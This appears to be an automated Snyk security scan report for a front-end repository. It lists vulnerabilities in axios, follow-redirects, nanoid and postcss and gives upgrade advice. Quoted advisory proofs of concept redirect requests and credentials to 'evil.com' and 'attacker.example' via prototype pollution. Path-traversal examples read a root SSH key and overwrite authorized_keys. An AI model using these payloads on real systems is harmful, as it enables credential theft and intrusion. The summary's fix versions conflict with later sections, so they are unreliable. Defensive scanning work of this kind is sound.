

Security Scan Report - arsh321485/vapt-fron1

Executive Summary

Executive Summary: Security Scan of arsh321485/vapt-fron1 Overall Security Posture: The security scan conducted on the repository arsh321485/vapt-fron1 revealed a total of 49 vulnerabilities, categorized as follows: 3 critical, 15 high, 29 medium, and 2 low. This indicates a concerning security posture that necessitates immediate attention to mitigate potential threats. Key Risks and Business Impact: The most pressing vulnerabilities stem from the use of the 'axios' package (version 1.11.0), which is implicated in several critical issues, including Prototype Pollution (CVSS 8.7), Allocation of Resources Without Limits (CVSS 6.9), and HTTP Response Splitting (CVSS 7.0). These vulnerabilities could allow attackers to crash the application, execute arbitrary code, or conduct denial-of-service attacks, posing significant risks to the confidentiality, integrity, and availability of the system. The potential business impact includes data breaches, reputational damage, and financial loss. Recommended Immediate Actions: 1. Upgrade the 'axios' package to versions 0.30.3, 1.12.0, or higher to remediate critical vulnerabilities. 2. Conduct a code review to identify any other dependencies that may have similar issues. 3. Implement security best practices such as input validation and secure coding standards to prevent future vulnerabilities. Risk Score: Based on the number and severity of vulnerabilities identified, the overall risk score is assessed at 7 out of 10, indicating a moderate to high risk that requires prompt action to address and mitigate potential threats effectively.

Scan Overview

Repository	arsh321485/vapt-fron1
Branch	main
Commit	
Triggered By	pipeline
Executed At	2026-09-15T07:37:06.824313

Vulnerability Statistics

Severity	Count
Critical	3
High	15
Medium	29
Low	2
Info	0

Key Findings Snapshot

Severity	Issue	File	Line	Source
CRITICAL	HTTP Response Splitting	axios@1.11.0	-	snyk
CRITICAL	Prototype Pollution	axios@1.11.0	-	snyk
CRITICAL	Prototype Pollution	axios@1.11.0	-	snyk
HIGH	Prototype Pollution	axios@1.11.0	-	snyk
HIGH	HTTP Response Splitting	axios@1.11.0	-	snyk
HIGH	Improperly Controlled Modification of Dynamically-Determined Object Attributes	axios@1.11.0	-	snyk
HIGH	Uncontrolled Recursion	axios@1.11.0	-	snyk
HIGH	Prototype Pollution	axios@1.11.0	-	snyk
HIGH	Server-side Request Forgery (SSRF)	axios@1.11.0	-	snyk
HIGH	Prototype Pollution	axios@1.11.0	-	snyk
HIGH	Insertion of Sensitive Information Into Sent Data	axios@1.11.0	-	snyk
HIGH	Improper Removal of Sensitive Information Before Storage or Transfer	follow-redirects@1.15.11	-	snyk

Recommended Next Actions

- Prioritize remediation for critical and high issues affecting internet-facing services.
- Review medium severity code paths with owners to identify quick-win fixes.
- Ensure dependency scanning (Snyk) findings are reflected in your SBOM and patch backlog.
- Schedule a follow-up scan after remediation to verify fixes and catch regressions.

Critical Vulnerabilities

HTTP Response Splitting (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to HTTP Response Splitting via the `isFormData` and `getHeaders` handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for `FormData`, causing `getHeaders()` output to be merged into an outgoing request. This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling. Notes - The gadget only matters when the request body is a non-`FormData` payload that Axios still routes through the Node HTTP adapter's form-data detection path; browser-side usage is not implicated by this code path. - The advisory's prototype-pollution prerequisite can come from any dependency in the application's tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection. Remediation Upgrade axios to version 0.31.1, 1.15.1 or higher. References - GitHub Commit - GitHub Commit - Maintainer's Advisory

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution through the `mergeConfig` code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as `transport`, `env`, `formSerializer`, or `transform` callbacks on `Object.prototype`, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration. Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all `Object` attributes to be altered, including their magical attributes such as `proto`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs: - Unsafe Object recursive merge - Property definition by path

Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: ``merge(target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]``

When the source object contains a property named `proto` defined with `Object.defineProperty()`, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object.prototype`. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`. Lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)` If the attacker can control the value of "path", they can set this value to `proto.myValue`. `myValue` is then assigned to the prototype of the class of the object. Types of attacks

Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail.

Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.

Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then

achieve admin privileges.] Affected environments The following environments are susceptible to a Prototype Pollution attack: - Application server - Web server - Web browser How to prevent 1. Freeze the prototype— use Object.freeze (Object.prototype). 2. Require schema validation of JSON input. 3. Avoid using unsafe recursive merge functions. 4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution. 5. As a best practice use Map instead of Object. For more information on this vulnerability type: Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018 Remediation Upgrade axios` to version 0.31.1, 1.15.1 or higher. References - GitHub Commit - GitHub Commit - Maintainer's Advisory

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution when the Object.prototype has been polluted via a different exploit. The following properties in the HTTP adapter configuration may be manipulated, as they do not restrict their own property accesses with hasOwnProperty. An attacker can inject Authorization headers into the auth property, redirect external requests via the baseURL property or internal requests via the socketPath property, execute callbacks contained in HTTP redirects via the beforeRedirect property, or enable insecure HTTP parsing via the insecureHTTPParser property. PoC `js const axios = require('axios'); // Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com'; await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs: - Unsafe Object recursive merge - Property definition by path Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: merge (target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]
 When the source object contains a property named proto defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source). lodash and Hoek are examples of libraries susceptible to recursive merge attacks. Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value) If the attacker can control the value of “path”, they can set this value to proto.myValue. myValue is then assigned to the prototype of the class of the object. Types of attacks There are a few methods by which Prototype Pollution can be manipulated: | Type |Origin |Short description | |--|--| | Denial of service (DoS)|Client |This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
 The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. | |Remote Code Execution|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.| |Property Injection|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
 For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.] Affected environments The following environments are susceptible to a Prototype Pollution attack: - Application server - Web server - Web browser How to prevent 1. Freeze the prototype— use Object.freeze (Object.prototype). 2. Require schema validation of JSON input. 3. Avoid using unsafe recursive merge functions. 4.

Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution. 5. As a best practice use `Map` instead of `Object`. For more information on this vulnerability type: Arteau, Olivier. "JavaScript prototype pollution attack in NodeJS application." GitHub, 26 May 2018 Remediation Upgrade axios` to version 1.15.2 or higher. References - GitHub Advisory - GitHub Commit

High Vulnerabilities

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution via the mergeConfig function. An attacker can cause the application to crash by supplying a malicious configuration object containing a proto property, typically by leveraging JSON.parse(). PoC ``js import axios from "axios"; const maliciousConfig = JSON.parse('{"proto": {"x": 1}}'); await axios.get("https://domain/get", maliciousConfig);`` Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as proto, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs: - Unsafe Object recursive merge - Property definition by path

Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: `merge(target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]` When the source object contains a property named proto defined with `Object.defineProperty()`, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({}, source)`. lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)` If the attacker can control the value of "path", they can set this value to `proto.myValue`. myValue is then assigned to the prototype of the class of the object. Types of attacks There are a few methods by which Prototype Pollution can be manipulated: | Type | Origin | Short description | |---|---| | Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. | Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: `eval(someobject.someattr)`. In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. | Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |

Affected environments The following environments are susceptible to a Prototype Pollution attack: - Application server - Web server - Web browser

How to prevent

1. Freeze the prototype— use `Object.freeze (Object.prototype)`.
2. Require schema validation of JSON input.
3. Avoid using unsafe recursive merge functions.
4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.
5. As a best practice use Map instead of Object.

For more information on this vulnerability type: Arteau, Olivier. "JavaScript prototype pollution attack in NodeJS application." GitHub, 26 May 2018 Remediation Upgrade axios` to version 0.30.3, 1.13.5 or higher. References - GitHub Commit - GitHub PR - GitHub Release

HTTP Response Splitting (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing `\r\n`, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic. Notes - Exploitation requires prior successful

prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or `AxiosHeaders.set(...)`. - IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint. - A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.js's built in header validation. Remediation Upgrade axios to version 0.31.0, 1.15.0 or higher. References - GitHub Commit - GitHub Commit (v1 backport) - GitHub PR - GitHub Release - Maintainer's Advisory

Improperly Controlled Modification of Dynamically-Determined Object Attributes (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Improperly Controlled Modification of Dynamically-Determined Object Attributes through the `transformResponse` and request serialization paths in the defaults configuration. An attacker can influence JSON parsing and request handling by supplying a crafted object with inherited `parseReviver`, `responseType`, `transitional`, `env`, or `formSerializer` properties, causing Axios to read attacker-controlled prototype values during response parsing or form encoding. This can lead to malformed response processing, unexpected parser behavior, and application-level data corruption or denial-of-service in code that passes untrusted config objects to Axios. Remediation Upgrade axios to version 1.15.2 or higher. References - GitHub Commit - Maintainer's Advisory

Uncontrolled Recursion (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Uncontrolled Recursion through the `toFormData` recursive serializer in `lib/helpers/toFormData.js`. An attacker can crash a process by supplying a deeply nested object as request data or params, causing unbounded recursion and a call-stack overflow during multipart/form-data or query-string serialization. Remediation Upgrade axios to version 0.31.1, 1.15.1 or higher. References - GitHub Commit - GitHub Commit - Maintainer's Advisory

Prototype Pollution (snyk) - axios@1.11.0:-

Overview axios is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into `Object.prototype.transformResponse` prior to the request. Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted `Object.prototype` with a function-valued `transformResponse` property before the request is made. PoC

```
js import http from 'http'; import axios from 'axios'; const seen = []; const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data }); return { hijacked: true }; } return true; }; try { const { port } = server.address(); const response = await axios.get(`http://127.0.0.1:${port}/users`, { auth: { username: 'svc-account', password: 'prod-secret-key-123' } }); console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse; server.close(); }
```

 Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `proto`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs: - Unsafe Object recursive merge - Property definition by path Unsafe Object recursive merge The logic of a vulnerable recursive merge function follows the following high-level model: `merge(target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]` When the source object

contains a property named `proto` defined with `Object.defineProperty()`, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`. `Lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.

Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)` If the attacker can control the value of “path”, they can set this value to `proto.myValue`. `myValue` is then assigned to the prototype of the class of the object. Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when <code>Object</code> holds generic functions that are implicitly called for various operations (for example, <code>toString</code> and <code>valueOf</code>). The attacker pollutes <code>Object.prototype.someattr</code> and alters its state to an unexpected value such as <code>Int</code> or <code>Object</code> . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes <code>Object.prototype.toString</code> by defining it as an integer, if the codebase at any point was reliant on <code>someobject.toString()</code> it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: <code>eval(someobject.someattr)</code> . In this case, if the attacker pollutes <code>Object.prototype.someattr</code> they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for <code>someuser.isAdmin</code> , then when the attacker pollutes <code>Object.prototype.isAdmin</code> and sets it to equal <code>true</code> , they can then achieve admin privileges.

Affected environments The following environments are susceptible to a Prototype Pollution attack:

- Application server
- Web server
- Web browser

How to prevent

1. Freeze the prototype— use `Object.freeze(Object.prototype)`.
2. Require schema validation of JSON input.
3. Avoid using unsafe recursive merge functions.
4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.
5. As a best practice use `Map` instead of `Object`.

For more information on this vulnerability type: Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018 Remediation Upgrade axios` to version 0.31.1, 1.15.2 or higher. References - GitHub Commit - GitHub Commit - Maintainer's Advisory

Server-side Request Forgery (SSRF) (snyk) - axios@1.11.0:-

Overview `axios` is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the `shouldBypassProxy` function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present. Note: This is only exploitable if the attacker can control the request URL and the application is configured with `NO_PROXY` to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy. Remediation Upgrade `axios` to version 0.32.0, 1.16.0 or higher. References - GitHub Commit - GitHub Commit - Maintainer's Advisory

Prototype Pollution (snyk) - axios@1.11.0:-

Overview `axios` is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Prototype Pollution through the `config.proxy` property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the `Object.prototype` with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all `Object` attributes to be altered, including their magical attributes such as `proto`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution. There are two main ways in which the pollution of prototypes occurs:

- Unsafe `Object` recursive merge
- Property definition by path

Unsafe `Object` recursive merge The logic of a vulnerable recursive merge function follows

the following high-level model: ``merge(target, source) foreach property of source if property exists and is an object on both the target and the source merge(target[property], source[property]) else target[property] = source[property]`

 When the source object contains a property named `proto` defined with `Object.defineProperty()`, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype. Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`. `lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks. Property definition by path There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)` If the attacker can control the value of “path”, they can set this value to `proto.myValue`. `myValue` is then assigned to the prototype of the class of the object. Types of attacks There are a few methods by which Prototype Pollution can be manipulated:

Type	Origin	Short description
Denial of service (DoS)	Client	This is the most likely attack. DoS occurs when <code>Object</code> holds generic functions that are implicitly called for various operations (for example, <code>toString</code> and <code>valueOf</code>). The attacker pollutes <code>Object.prototype.someattr</code> and alters its state to an unexpected value such as <code>Int</code> or <code>Object</code> . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes <code>Object.prototype.toString</code> by defining it as an integer, if the codebase at any point was reliant on <code>someobject.toString()</code> it would fail.
Remote Code Execution	Client	Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: <code>eval(someobject.someattr)</code> . In this case, if the attacker pollutes <code>Object.prototype.someattr</code> they are likely to be able to leverage this in order to execute code.
Property Injection	Client	The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for <code>someuser.isAdmin</code> , then when the attacker pollutes <code>Object.prototype.isAdmin</code> and sets it to equal <code>true</code> , they can then achieve admin privileges.

Affected environments The following environments are susceptible to a Prototype Pollution attack:

- Application server
- Web server
- Web browser

How to prevent

1. Freeze the prototype— use `Object.freeze(Object.prototype)`.
2. Require schema validation of JSON input.
3. Avoid using unsafe recursive merge functions.
4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.
5. As a best practice use `Map` instead of `Object`.

For more information on this vulnerability type: Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018 Remediation Upgrade `axios` to version 0.32.0, 1.16.0 or higher. References - GitHub Commit - GitHub Commit - Maintainer's Advisory

Insertion of Sensitive Information Into Sent Data (snyk) - axios@1.11.0:-

Overview `axios` is a promise-based HTTP client for the browser and Node.js. Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the `setProxy` function. An attacker can obtain sensitive proxy credentials by controlling a redirect target and causing the application to follow a redirect from a proxied request to a direct connection, resulting in the `Proxy-Authorization` header being sent to the attacker's server. Note: This is only exploitable if the application is running in Node.js with automatic redirects enabled and uses an authenticated proxy configuration, where the redirect target resolves to a direct connection (such as when `HTTPSPROXY` is unset or excluded by `NOPROXY`). Workaround This vulnerability can be mitigated by setting `maxRedirects: 0` and handling redirects manually, or by ensuring proxy environment variables are configured consistently across protocols to prevent unexpected changes from proxied to direct connections. PoC ``js process.env.HTTPPROXY = 'http://user:pass@127.0.0.1:8080'; delete process.env.HTTPSPROXY; await axios.get('http://attacker.example/start');` Remediation Upgrade `axios` to version 0.32.0, 1.16.0 or higher. References - GitHub Advisory - GitHub Commit - GitHub PR - GitHub Release - GitHub Release

Improper Removal of Sensitive Information Before Storage or Transfer (snyk) - follow-redirects@1.15.11:-

Overview Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain. Remediation Upgrade `follow-redirects` to version 1.16.0 or higher. References - GitHub Advisory - GitHub Commit

Infinite loop (snyk) - nanoid@3.3.11:-

Overview Affected versions of this package are vulnerable to Infinite loop through the customAlphabet and nanoid functions in nanoid/non-secure. An attacker can hang the calling thread by supplying a negative size to either function, causing the loop counter to decrement from a negative value and never reach its termination condition. This affects applications that pass unvalidated attacker-controlled size values into the non-secure ID generator, where a single malicious request can spin the process indefinitely and stop the service from responding. Notes - The vulnerable code path is in the nanoid/non-secure entry point, so bundles or consumers that import the non-secure module directly are the ones exposed; the secure/default package path is a separate export. - The denial-of-service only shows up when callers pass a negative size into these APIs, which the advisory's regression tests treat as returning an empty string rather than looping. Remediation Upgrade nanoid to version 3.3.16, 5.1.16 or higher. References - GitHub Commit

Infinite loop (snyk) - nanoid@3.3.11:-

Overview Affected versions of this package are vulnerable to Infinite loop through the customRandom function in the customRandom implementation. An attacker can hang the calling thread by supplying a size of 0 to customRandom, which causes its ID generation loop to never reach a terminating condition. This breaks any application path that accepts an unvalidated, attacker-controlled size and passes it into customRandom, leaving the process stuck while handling the request. Remediation Upgrade nanoid to version 3.3.17, 5.1.6 or higher. References - GitHub Commit

Integer Overflow or Wraparound (snyk) - nanoid@3.3.11:-

Overview Affected versions of this package are vulnerable to Integer Overflow or Wraparound through the fillPool logic in index.js and index.cjs. An attacker can make subsequent ID generation deterministic by supplying an oversized size value to nanoid(size), which is coerced into a negative 32-bit integer and corrupts the shared random pool state. After that call, all later IDs produced in the same process lose their randomness and uniqueness, breaking session tokens, CSRF tokens, and other identifiers until the process restarts. Remediation Upgrade nanoid to version 3.3.12, 5.1.11 or higher. References - GitHub Commit - GitHub Commit - GitHub Commit - Maintainer's Advisory

Directory Traversal (snyk) - postcss@8.5.6:-

Overview postcss is a PostCSS is a tool for transforming styles with JS plugins. Affected versions of this package are vulnerable to Directory Traversal via the process function. An attacker can access arbitrary files and obtain the first ~10 bytes of their contents by supplying a crafted sourceMappingURL comment in CSS input, which is parsed and dereferenced without proper validation. This can lead to disclosure of sensitive information, confirmation of file existence, and potential denial of service by targeting large or special files. Details A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files. Directory Traversal vulnerabilities can be generally divided into two types:

- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system. It is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route. If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user. `` curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/idrsa` Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip. One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily. The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorizedkeys file: 2018-04-15 22:04:29 19 19 good.txt 2018-04-15 22:04:42 20 20 ../../../../../../root/.ssh/authorized_keys Remediation Upgrade postcss to version 8.5.12 or higher. References - GitHub Advisory - GitHub Commit - GitHub Commit - GitHub Release

Directory Traversal (snyk) - postcss@8.5.6:-

Overview postcss is a PostCSS is a tool for transforming styles with JS plugins. Affected versions of this package are vulnerable to Directory Traversal via the loadMap process. An attacker can access the contents of arbitrary .map files on the filesystem by submitting crafted CSS containing a sourceMappingURL comment with a path traversal or

absolute path, which is then loaded and its content merged into the resulting source map returned by the process.

Details A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files. Directory Traversal vulnerabilities can be generally divided into two types:

